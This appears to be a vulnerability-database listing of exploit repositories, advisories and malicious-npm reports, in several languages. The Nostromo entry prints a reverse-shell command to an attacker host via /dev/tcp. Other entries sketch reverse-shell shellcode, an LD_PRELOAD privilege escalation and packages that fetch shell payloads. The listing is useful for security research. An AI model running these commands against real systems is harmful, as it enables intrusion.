CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 Shellshock 利用脚本 🎯💻🔍 本 Python 脚本利用 Shellshock 漏洞（CVE-2014-6271）在易受攻击的目标上远程执行命令或建立反向 shell。🛠️⚠️ ⚠ 免责声明 🚨❗ 此脚本仅用于教育目的和授权的渗透测试。未经明确许可对您无权测试的系统进行未经授权的使用是非法且不道德的。在进行任何安全测试之前，请务必获得适当授权。⚠️🛑🚔 🔥 特性 使用 Shellshock 漏洞在易受攻击的系统上执行任意命令。 建立到攻击者机器的反向 shell 连接。 📌 前提条件 🎓 易受 Shellshock...

CVE-2016-3714

CVE-2016-3714 Ejecución de código en ImageMagick CVE-2016-3714 imagickbuilder.py = Constructor de payloads simple para explotar CVE-2016-3714 imagickbypassshell.php = Web shell basada en PHP que aprovecha el wrapper de la extensión PHP imagick para evadir funciones deshabilitadas Algunas imágenes...

Shell-Shock

Shell Shock Autores : [email protected] Mantenedores : Departamento : DevOps Licencias : Resumen Shell Shock : Escalada de privilegios, ejecución remota de código Familia de fallos en el shell Bash de Unix. Permite la ejecución de comandos arbitrarios. Vectores de explotación Payloads agente...

[SECURITY] Fedora 45 Update: noctalia-5.2.1-1.fc45

Noctalia is a native Wayland desktop shell for people who want a polished, configurable Linux desktop without stitching together a separate bar, launche r, notification daemon, lock screen, wallpaper tool, and settings UI...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE 这是针对 Nostromo 1.9.6 RCE 漏洞（CVE-2019-16278）的一个利用程序。该利用程序可在目标机器上实现远程代码执行。 需求 optparse socat sys 用法 你可以按如下方式使用该利用程序： python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i & /dev/tcp/10.10.16.42/443 0&1'" b'HTTP/1.1 200 OK\r\nDate: Thu, ...

CVE-2025-55182

CVE-2025-55182 React2Shell Kit de explotación 🎯 Demostración completa y funcional del exploit Este proyecto ofrece una demostración totalmente funcional de CVE-2025-55182 React2Shell, una vulnerabilidad crítica de ejecución remota de código en React Server Components y Next.js. Estado: ✅...

PT-2026-106247

Name of the Vulnerable Software and Affected Versions Docling versions 2.94.0 through 2.131.0 Description When users enable LatexBackendOptionstikz engine="tectonic", the system uses docling/backend/latex/engines/tectonic.py to compile TikZ bodies and document preambles without restricting TeX fi...

Joern 4.0.647

Joern is the bug hunter's workbench. With this tool, you can uncover attack surface, sloppy coding practices, and variants of known vulnerabilities using an interactive code analysis shell. Joern supports C, C++, LLVM bitcode, x86 binaries via Ghidra, JVM bytecode via Soot, and Javascript...

PT-2026-106212

Name of the Vulnerable Software and Affected Versions Penpot versions prior to 2.18.0 Description The SVG exporter improperly handles the fill-color value of a text object, inserting it into a ppmcolormask command string that is then executed via child process.exec. An attacker with file editing...

CVE-2026-48172

📚 Repositorio Educativo de Investigación en Seguridad Un repositorio para aprender, probar e investigar conceptos de ciberseguridad en entornos controlados. ⚡ Uso Simple Use este proyecto solo en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Entornos de...

cve-2018-9948-9958-exp

2018-9948-9958-exp "getshellcodefrommsf.py" es un script de Python para obtener shellcode de msfvenom, luego copiar la salida al exp.pdf reemplazando el bloque de shellcode 'calc', y finalmente funciona. Ooooops, es un shellcode de reverse tcp. un código de ejemplo es así: python...

CVE-2017-14187_PoC_ARMv7

CVE-2017-14187 PoC FortiOS 5.6.0 至 5.6.2、5.4.0 至 5.4.8 及 5.2 以下版本的本地权限提升概念验证 通过 fnsysctl 和 USB 触发（因此需要物理访问）。 此 PoC 通过利用 CVE-2017-14187 来生成本地 root shell。 分析文章 韩文 英文 TL;DR 1. fnsysctl cp /usb/payloadpathfile /etc/ld.so.preload 2. fnsysctl ls - LDPRELOAD 注入 - 任意代码执行 - LPE（受限 shell 逃逸） 从源码构建 git clon...

Malicious code in a11y-tabindex-manager (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ce127c3e1cadd4f544a5f2580f2db030e3d9e3667d7b0e3399d85b59eb354045 a11y-tabindex-manager ships thunderboltRegistry.js, which executes an IIFE on module load that runs a series of local shell commands cat /etc/hosts,...

Malicious code in internallib_v275 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80c1c6d383b3defb01da235e39e08ce56276d887e63d900aea2ee689836f71b4 index.js exports a command function that invokes /bin/bash -c to curl a reverse-shell payload from reverse-shell.sh targeting the hardcoded host...

MAL-2026-17510 Malicious code in internallib_v275 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80c1c6d383b3defb01da235e39e08ce56276d887e63d900aea2ee689836f71b4 index.js exports a command function that invokes /bin/bash -c to curl a reverse-shell payload from reverse-shell.sh targeting the hardcoded host...

MAL-2026-17518 Malicious code in postcss-gap-fallback-util (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b54d5bd893bc377a77503059998e01ae3e338fd4d8ddac6fe2d7c71a3157cb5 The package is published as a PostCSS gap fallback utility but ships thunderboltRegistry.js, which executes an IIFE on module load. The IIFE runs...

Malicious code in postcss-gap-fallback-util (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b54d5bd893bc377a77503059998e01ae3e338fd4d8ddac6fe2d7c71a3157cb5 The package is published as a PostCSS gap fallback utility but ships thunderboltRegistry.js, which executes an IIFE on module load. The IIFE runs...

CVE-2026-0073-Android-ADBD-bypass-POC_zh_CN

CVE-2026-0073 — Android ADBD TLS 身份验证绕过 EVPPKEYcmp 类型混淆 → 未经授权的 ADB shell 🔥 概述 Android 的 ADB 守护程序 adbd 中存在一个关键的身份验证绕过 漏洞，允许本地网络上的任何攻击者在目标设备上获得完整的 shell 权限，而无需用户授权 。 该漏洞存在于 daemon/auth.cpp 文件中的 adbdtlsverifycert 函数中，其中 EVPPKEYcmp 被用作布尔值。当存储的密钥是​​ RSA 密钥，而提供的 TLS 客户端证书携带的是 非 RSA 密钥 （EC P-256 或...

Malicious code in popover-anchor-polyfill (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 31e270ae326e5c45ebeb5fcf7bc9ff96126908c194bef5f280a4028fff0e9ed9 The package advertises itself as a 'popover anchor positioning polyfill' but ships thunderboltRegistry.js, which executes an IIFE on module load that...

Samba-CVE-2007-2447-Exploit-Username-Map-Script

Samba CVE-2007-2447 Exploit Username Map Script Este repositorio contiene un script de Python diseñado para automatizar la explotación de la vulnerabilidad CVE-2007-2447 en servidores Samba versiones 3.0.20 a 3.0.25rc3. Esta herramienta ha sido desarrollada con fines exclusivamente educativos y...